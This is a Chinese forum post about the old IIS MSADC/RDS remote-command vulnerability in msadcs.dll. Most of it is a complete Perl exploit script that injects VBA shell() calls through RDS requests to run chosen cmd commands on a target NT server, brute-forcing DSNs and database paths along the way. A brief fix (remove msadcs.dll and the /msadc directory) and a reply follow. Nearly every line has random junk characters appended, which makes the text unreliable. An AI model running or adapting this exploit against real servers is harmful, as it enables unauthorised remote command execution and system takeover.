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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) - zw{<+;  
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涉及程序: P`I G9  
Microsoft NT server @EOR] ^?!]  
M2P@ &  
描述: ]O=S2Q  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 aX'g9E  
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详细: jNG?2/P6&  
如果你没有时间读详细内容的话,就删除: 1(7.V-(G  
c:\Program Files\Common Files\System\Msadc\msadcs.dll wW! r}I#  
有关的安全问题就没有了。 tDHHQ  
V0 +k3H  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 JBEgiQ/  
>dvWa-rNUT  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ])j|<W/  
关于利用ODBC远程漏洞的描述,请参看: .>64h H  
A~GtK\=;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm m|2]lb  
OG^WZ.YU  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 G1;'nwf}  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %*6oUb  
[q+e]kD  
这里不再论述。 cov#Z ux  
H;*a:tbxO+  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: h$7Fe +#I#  
H(G^O&ppdB  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~d7Wjn$@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! {q tc \O  
{.3  
@Gn?8Ur%  
#将下面这段保存为txt文件,然后: "perl -x 文件名" VXc+Wm*W  
KjwY'aYwr:  
#!perl '0_j{ig  
# -Mi}yi  
# MSADC/RDS 'usage' (aka exploit) script *iRm`)zC(  
# j #I:6yA3  
# by rain.forest.puppy hi3sOK*r;<  
# O? Gl4_y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me m,gy9$  
# beta test and find errors! H MjeGO.i  
yg+IkQDf4U  
use Socket; use Getopt::Std; 0gOrW=  
getopts("e:vd:h:XR", \%args); "?eH=!  
cR=94i=t  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; =yTa,PY  
`zzKD2y  
if (!defined $args{h} && !defined $args{R}) { FSU%?PxO  
print qq~ "h;;.Y8e  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ( ztim  
-h <host> = host you want to scan (ip or domain) =2nn "YVP  
-d <seconds> = delay between calls, default 1 second wsJ%* eYf  
-X = dump Index Server path table, if available #mRFUA  
-v = verbose Dz8:; $/  
-e = external dictionary file for step 5 [UJEU~XC  
WE.$at{*h  
Or a -R will resume a command session y  KYP  
$vTAF-~Ql  
~; exit;} $\,BpZ }3  
9o`7Kc/g  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Hw?2XDv j  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} qF{DArc  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ;naq-%'Sg  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); NlF0\+h  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}  M<Wn]}7!  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } .@i0U  
]~prR?  
if (!defined $args{R}){ $ret = &has_msadc; +=6RmId+X  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} {C/L5cZ]J  
c:llOHA  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =CjNtD2]  
. "cmd /c "; &}nBenYp  
$in=<STDIN>; chomp $in; YXX36  
$command="cmd /c " . $in ; J+71FP`ZH  
-3G 4vRIo  
if (defined $args{R}) {&load; exit;} 97(Xu=tX  
ws>WA{]gq  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; BSfm?ku"!  
&try_btcustmr; /UpD$,T|^|  
~MhgAC  
print "\nStep 2: Trying to make our own DSN..."; +HOCVqx  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; :WK"-v  
e8AjO$49  
print "\nStep 3: Trying known DSNs..."; mvHh"NJ  
&known_dsn; $!|8g`Tm  
jD'  
print "\nStep 4: Trying known .mdbs..."; JO2ZS6k[  
&known_mdb; 7b&JX'`Mb  
X-)RU?  
if (defined $args{e}){ fO^e+M z  
print "\nStep 5: Trying dictionary of DSN names..."; r=~WMDCz@  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 4{;8:ax&w  
%NT`C9][  
print "Sorry Charley...maybe next time?\n"; 1p7cv~#95  
exit; Nm6Z|0S  
VqK%^  
############################################################################## axK6sIxx  
9;0V  /y  
sub sendraw { # ripped and modded from whisker x">W u2  
sleep($delay); # it's a DoS on the server! At least on mine... m]FaEQVoE  
my ($pstr)=@_; [j)\v^m  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .M9d*qp`S  
die("Socket problems\n"); }+9 1s'/c  
if(connect(S,pack "SnA4x8",2,80,$target)){ j+DE|Q&]I  
select(S); $|=1; 3h9Sz8  
print $pstr; my @in=<S>; 7P<r`,~k-  
select(STDOUT); close(S); w]>"'o{{  
return @in; 8K \'Z  
} else { die("Can't connect...\n"); }} oA4D\rn8"  
`Yx-~y5X  
############################################################################## 0'?V|V=v  
vKNt$]pm=  
sub make_header { # make the HTTP request qwq/Xcv  
my $msadc=<<EOT . i{>Z  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 AbUDn\0$  
User-Agent: ACTIVEDATA omM&{ }8g  
Host: $ip ~ X-)_zH  
Content-Length: $clen f._l105.  
Connection: Keep-Alive uiktdZ/f  
P?9nTG  
ADCClientVersion:01.06 u0m5JD0/  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 -VS9`7k  
C#MF pT  
--!ADM!ROX!YOUR!WORLD! M{`/f@z(  
Content-Type: application/x-varg V bg10pV0  
Content-Length: $reqlen q} ]'Q -  
$ A-+E\vQ@  
EOT JDLTOLG  
; $msadc=~s/\n/\r\n/g; `]*%:NZP@  
return $msadc;} t)-*.qZh  
H>60D|v[  
############################################################################## {S[I_\3  
A <4_DVd@@  
sub make_req { # make the RDS request p"Ot5!F >  
my ($switch, $p1, $p2)=@_; Jy \2I{I'  
my $req=""; my $t1, $t2, $query, $dsn; $.H:8^W  
2R^O,Vu*W  
if ($switch==1){ # this is the btcustmr.mdb query s %eyW _  
$query="Select * from Customers where City=" . make_shell(); 0B=[80K;8  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . w3^NL(>  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 9YR]+*  
=%!e(N'p  
elsif ($switch==2){ # this is general make table query ePf+[pV3  
$query="create table AZZ (B int, C varchar(10))"; S8 :"<B)  
$dsn="$p1";} &J8 Z@^  
hf;S]8|F  
elsif ($switch==3){ # this is general exploit table query V,V*30K5  
$query="select * from AZZ where C=" . make_shell(); 6}ce1|mkg/  
$dsn="$p1";} }$o*  
1hl]W+9  
elsif ($switch==4){ # attempt to hork file info from index server B\\6#  
$query="select path from scope()"; #EJhAJ  
$dsn="Provider=MSIDXS;";} B?+ .2  
J.#(gFBBl\  
elsif ($switch==5){ # bad query ]b3/Es+  
$query="select"; {vs 4vS6  
$dsn="$p1";} C\ tprnY  
l^.K'Q1~a  
$t1= make_unicode($query); $tI]rU  
$t2= make_unicode($dsn); XC=%H'p  
$req = "\x02\x00\x03\x00"; Y[2Wt%2\6  
$req.= "\x08\x00" . pack ("S1", length($t1)); &e5(Djz8t  
$req.= "\x00\x00" . $t1 ; g3Z:{@m  
$req.= "\x08\x00" . pack ("S1", length($t2)); l :/&E 6 9  
$req.= "\x00\x00" . $t2 ; _w 5RK(  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; g%ubvu2t]  
return $req;} / /'Tck  
m9Ax\lf  
############################################################################## OFA{ KZga  
-;^;2#](g  
sub make_shell { # this makes the shell() statement nSS>\$  
return "'|shell(\"$command\")|'";} P` #QGZ>  
[r(Qs|  
############################################################################## r#A_RZ2~@  
7KU~(?|:h  
sub make_unicode { # quick little function to convert to unicode 7c-Gm R2  
my ($in)=@_; my $out; iZaeoy  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } "NDxgJ%J35  
return $out;} X 7=fX~s  
*I0Tbc O  
############################################################################## J1bA2+5.*e  
$(ewk):  
sub rdo_success { # checks for RDO return success (this is kludge) ^(ScgoXva  
my (@in) = @_; my $base=content_start(@in); ;6ky5}z  
if($in[$base]=~/multipart\/mixed/){ P.djd$#  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} QdQ d(4/1  
return 0;} f;gZ|a  
EeB ]X24  
############################################################################## 4e +~.5r@i  
3\AM=`  
sub make_dsn { # this makes a DSN for us .e @>   
my @drives=("c","d","e","f"); LOr|k8tL%  
print "\nMaking DSN: "; b;#\~( a  
foreach $drive (@drives) { 3o*FPO7?  
print "$drive: "; btH _HE  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . c"7j3/p  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" V  }>n  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); rz%<AF Z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; \ p4*$  
return 0 if $2 eq "404"; # not found/doesn't exist -?<4Og[^  
if($2 eq "200") { V >Hf9sZ  
foreach $line (@results) { Q.+|xwz  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} [$\z'}  
} return 0;} \?DR s  
t|V0x3X  
############################################################################## T$KF< =  
P}V=*g  
sub verify_exists { k;I  &.H  
my ($page)=@_; EATu KLP\  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Q6IQV0{p  
return $results[0];} ,LZX@'5  
=p@8z /u  
############################################################################## B6] <G-  
H2;X   
sub try_btcustmr { 3xNMPm  
my @drives=("c","d","e","f"); Q$ri=uB;+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >`'O7.R  
/RT%0!  
foreach $dir (@dirs) { p_{("zQ  
print "$dir -> "; # fun status so you can see progress O oSb>Y/4  
foreach $drive (@drives) { ]"F5;p; y  
print "$drive: "; # ditto /qU>5;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1zftrX~v!X  
$reqlenlen=length( "$reqlen" ); ~9=aT1S|  
$clen= 206 + $reqlenlen + $reqlen; w8iR|TV  
]XeO0Y  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); C5W>W4EM  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} S[,8TErz  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Vw#{C>  
 Fl3#D7K  
############################################################################## WKmbNvN^  
W0XF~  
sub odbc_error { Xf d*D  
my (@in)=@_; my $base; 9!U@"~yB  
my $base = content_start(@in); -?6MU~"GK  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this PXzT6)  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  U47}QDh  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; vyI%3+N@  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,RxYd6  
return $in[$base+4].$in[$base+5].$in[$base+6];} 0)!Ll*L!p  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; &\C [@_  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . VR5fqf|*  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} (*\jbK  
X"q!Y#)  
############################################################################## k~3.MU  
in-C/m#  
sub verbose { hWo=;#B*  
my ($in)=@_; @}s$]i$|-  
return if !$verbose; xSK~s  
print STDOUT "\n$in\n";} }fR,5|~X  
p?X02 >yA  
############################################################################## a l&(-#1  
QHt4",Ij  
sub save { `^9(Ot $  
my ($p1, $p2, $p3, $p4)=@_; ILwn&[A0  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; otJ!UfpR8  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ($nrqAv4  
close OUT;} =~KsS }`1,  
!yOeW0/2[  
############################################################################## SC &~s$P;  
C\ZkGX  
sub load { !? 5U|  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; qTQ!jN  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); "xRBE\B  
@p=<IN>; close(IN); oslJC$cy'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <?Wti_ /M  
$target= inet_aton($ip) || die("inet_aton problems"); q2rUbU_A(  
print "Resuming to $ip ..."; x]|+\1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; vhuw &.\  
if($p[1]==1) { ULH0'@BJ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; D]s]"QQ8  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; M$Zo.Bl$(  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ,)!u)wz  
if (rdo_success(@results)){print "Success!\n";} (Y% Q|u  
else { print "failed\n"; verbose(odbc_error(@results));}} qT:zEt5  
elsif ($p[1]==3){ <M]h{BS=  
if(run_query("$p[3]")){ ^!8P<y  
print "Success!\n";} else { print "failed\n"; }} U-k VNBs  
elsif ($p[1]==4){ Q7X3X,  
if(run_query($drvst . "$p[3]")){ B[4pX +f  
print "Success!\n"; } else { print "failed\n"; }} {<>K]P~wD  
exit;} {nT^t Aha  
J?UQJ&!@O  
############################################################################## )6KMHG  
6x)$Dl  
sub create_table { !R-z%  
my ($in)=@_; s@hRqGd:  
$reqlen=length( make_req(2,$in,"") ) - 28; YC_5YY(k  
$reqlenlen=length( "$reqlen" ); !QI\Fz?  
$clen= 206 + $reqlenlen + $reqlen; bI.t <;  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^D`v3d  
return 1 if rdo_success(@results); W1B)]IHc  
my $temp= odbc_error(@results); verbose($temp); 9[c%J*r   
return 1 if $temp=~/Table 'AZZ' already exists/; 8X|r4otn4  
return 0;} vIl+#9L0  
^ci3F<?Q=  
############################################################################## 1?*  
0 [?ny`Y  
sub known_dsn { ;Vik5)D2D  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go *=V7@o  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *'Y@3vKE  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |t iUej  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); &N~ZI*^  
UO*Ymj 1  
foreach $dSn (@dsns) { jn >d*9u  
print "."; ^.k |SK`U  
next if (!is_access("DSN=$dSn")); XdLCbY  
if(create_table("DSN=$dSn")){ #GDe0 8rOw  
print "$dSn successful\n"; ,#d? _?/:O  
if(run_query("DSN=$dSn")){ `U#55k9^5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Z+j\a5d?,  
print "Something's borked. Use verbose next time\n";}}} print "\n";} `@[c8j7  
4wd& 55=2  
############################################################################## +YLejjQ  
zA+~7;7E  
sub is_access { )*;zW! H  
my ($in)=@_; P}ok*{"J<>  
$reqlen=length( make_req(5,$in,"") ) - 28; Z[\ O=1E,  
$reqlenlen=length( "$reqlen" ); Hn>B!Bm*  
$clen= 206 + $reqlenlen + $reqlen; rqP FU6  
my @results=sendraw(make_header() . make_req(5,$in,"")); 7QKr_  
my $temp= odbc_error(@results); / N) W2  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); @';B_iQ  
return 0;} b^D$jY  
X|0R= n]  
############################################################################## kg@>;(V&  
}g#&Q0  
sub run_query { /!^&;$A'  
my ($in)=@_; Hqnxq  
$reqlen=length( make_req(3,$in,"") ) - 28; c|F[.;cR  
$reqlenlen=length( "$reqlen" ); )ZrS{vY  
$clen= 206 + $reqlenlen + $reqlen; :=%0Mb:  
my @results=sendraw(make_header() . make_req(3,$in,"")); o?1;<gs  
return 1 if rdo_success(@results); Xc"&0v%;#  
my $temp= odbc_error(@results); verbose($temp); E0%~! b  
return 0;} s&\I=J.  
.q&'&~!_  
############################################################################## k+I}PuG  
D +_oVob\  
sub known_mdb { ~4P%%b0,o  
my @drives=("c","d","e","f","g"); K=!Bh*  
my @dirs=("winnt","winnt35","winnt351","win","windows"); n,$IfC"  
my $dir, $drive, $mdb; [=B$5%A  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; V $z} K  
pV4Whq$  
# this is sparse, because I don't know of many mUS_(0q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", fDG0BNLY  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", lds- T  
"\\system32\\certmdb.mdb", 8-y{a.,u.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% &Tl 0Pf  
^rvx!?zO  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", >.dWjb6t  
"\\cfusion\\cfapps\\forums\\forums_.mdb", vSi_t K4  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", '* \|; l#1  
"\\cfusion\\cfapps\\security\\realm_.mdb", zC _<(4$-"  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", TuW%zF/  
"\\cfusion\\database\\cfexamples.mdb", >``MR%E:<  
"\\cfusion\\database\\cfsnippets.mdb", ~QvqG{bFB  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", h?bb/T+'  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", p-1 3H0Kt  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /mp*>sNr6  
"\\cfusion\\database\\smpolicy.mdb", 5M9 I,  
"\\cfusion\\database\cypress.mdb", oB74y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", DjSbyXvrg  
"\\website\\cgi-win\\dbsample.mdb", 'v]u#/7a  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [<'-yQ{l\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" \P1S|ufv  
); #these are just k)TSR5A  
foreach $drive (@drives) { Q#nOJ(KV  
foreach $dir (@dirs){ ,V*%V;  
foreach $mdb (@sysmdbs) { sKlDu  
print "."; ooUk O  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ N^Bo .U0\  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; n_3O-X(  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 2tal  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; TLoz)&@  
} else { print "Something's borked. Use verbose next time\n"; }}}}} kOh{l: 2-+  
5|jw^s7  
foreach $drive (@drives) { 35tu>^_#V  
foreach $mdb (@mdbs) { MwmUgN"g  
print "."; &QhX1dT+  
if(create_table($drv . $drive . $dir . $mdb)){ Qg6 W5Hc  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~I{n^Q/a  
if(run_query($drv . $drive . $dir . $mdb)){ +-E~6^>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1Bpv"67  
} else { print "Something's borked. Use verbose next time\n"; }}}} <{~6}6o  
} ;j4?>3  
i;!H!-sM  
############################################################################## ID#I`}h.k  
765p/**  
sub hork_idx { -?(E_^ng  
print "\nAttempting to dump Index Server tables...\n"; 1KjU ] r2  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; )Tk1 QHU  
$reqlen=length( make_req(4,"","") ) - 28; 6;|n]m\Vd  
$reqlenlen=length( "$reqlen" ); ]O]GeAGC2  
$clen= 206 + $reqlenlen + $reqlen; Z!U)I-x&  
my @results=sendraw2(make_header() . make_req(4,"","")); M`ip~7"  
if (rdo_success(@results)){ Yv:55+e!|  
my $max=@results; my $c; my %d; y#XbJuN/  
for($c=19; $c<$max; $c++){ ~#kT _*sw)  
$results[$c]=~s/\x00//g; _x!7}O#k  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;  A^p[52`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; |g=="  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; qL,tYJ<m%  
$d{"$1$2"}="";} wC5ee:u C%  
foreach $c (keys %d){ print "$c\n"; } 1UKg=A-q  
} else {print "Index server doesn't seem to be installed.\n"; }} F^hBtfz  
W"Gkq!3u{  
############################################################################## w: >5=mfk  
Y-7^o@y  
sub dsn_dict { q7"7U=W0  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); =2@B&  
while(<IN>){ A'2w>8  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Offu9`DiZ  
next if (!is_access("DSN=$dSn")); g55`A`5%C  
if(create_table("DSN=$dSn")){ =C~/7N,lW]  
print "$dSn successful\n"; b!)<-|IK  
if(run_query("DSN=$dSn")){ TC<@e<-%Sq  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { C:Hoq(  
print "Something's borked. Use verbose next time\n";}}} Zfyo-Wk  
print "\n"; close(IN);} qG<$Ajiin  
&gjF4~W]  
############################################################################## qbv#I;  
< P`u}  
sub sendraw2 { # ripped and modded from whisker 4Z/f@ZD  
sleep($delay); # it's a DoS on the server! At least on mine... YX` 7Hm,  
my ($pstr)=@_; P{u0ftyX}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || '3?\K3S4i  
die("Socket problems\n"); 6H'HxB4  
if(connect(S,pack "SnA4x8",2,80,$target)){ / z}~zO  
print "Connected. Getting data"; 6C-z=s)P&  
open(OUT,">raw.out"); my @in; Ox@sI:CT  
select(S); $|=1; print $pstr; 1bH;!J  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} D:Zy  
close(OUT); select(STDOUT); close(S); return @in; Kw#i),M  
} else { die("Can't connect...\n"); }} ai{Sa U  
x:QgjK  
############################################################################## ;$z$@@WC  
P LueVz  
sub content_start { # this will take in the server headers uV=Qp1~  
my (@in)=@_; my $c; lEV]4 t_H  
for ($c=1;$c<500;$c++) { 9 -rNw?7  
if($in[$c] =~/^\x0d\x0a/){ 0=K9`=5d0  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 4n4?4BEn  
else { return $c+1; }}} hiUD]5Kp  
return -1;} # it should never get here actually 0@EwM  
qM.bF&&Go  
############################################################################## %DdJ ^qHI  
kV3 8`s>+  
sub funky { N2w"R{)j\  
my (@in)=@_; my $error=odbc_error(@in); 0C>%LJ8r  
if($error=~/ADO could not find the specified provider/){ ezMI \r6  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; =MvjLh"s  
exit;} . Z%{'CC  
if($error=~/A Handler is required/){ 3K_A<j:  
print "\nServer has custom handler filters (they most likely are patched)\n"; _vZ"4L+Iw+  
exit;} LU9A#  
if($error=~/specified Handler has denied Access/){ 0$-xw  
print "\nServer has custom handler filters (they most likely are patched)\n"; S*n@81Z  
exit;}} Lliq j1&  
R~ZFy0  
############################################################################## MX@_=Sp-  
_N@ro  
sub has_msadc { CXC`sPY  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 0D&t!$Ibf  
my $base=content_start(@results); qBCK40   
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); oIefw:FE,a  
return 0;} m o:D9  
[3!~PR]  
######################## o9H^?Rut  
nG;8:f`  
xQ@^$_  
解决方案: |JVk&8 ?8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll FD8N"p  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 P<f5*L#HD  
19j+lCSvH  
拿出来充数 哈哈
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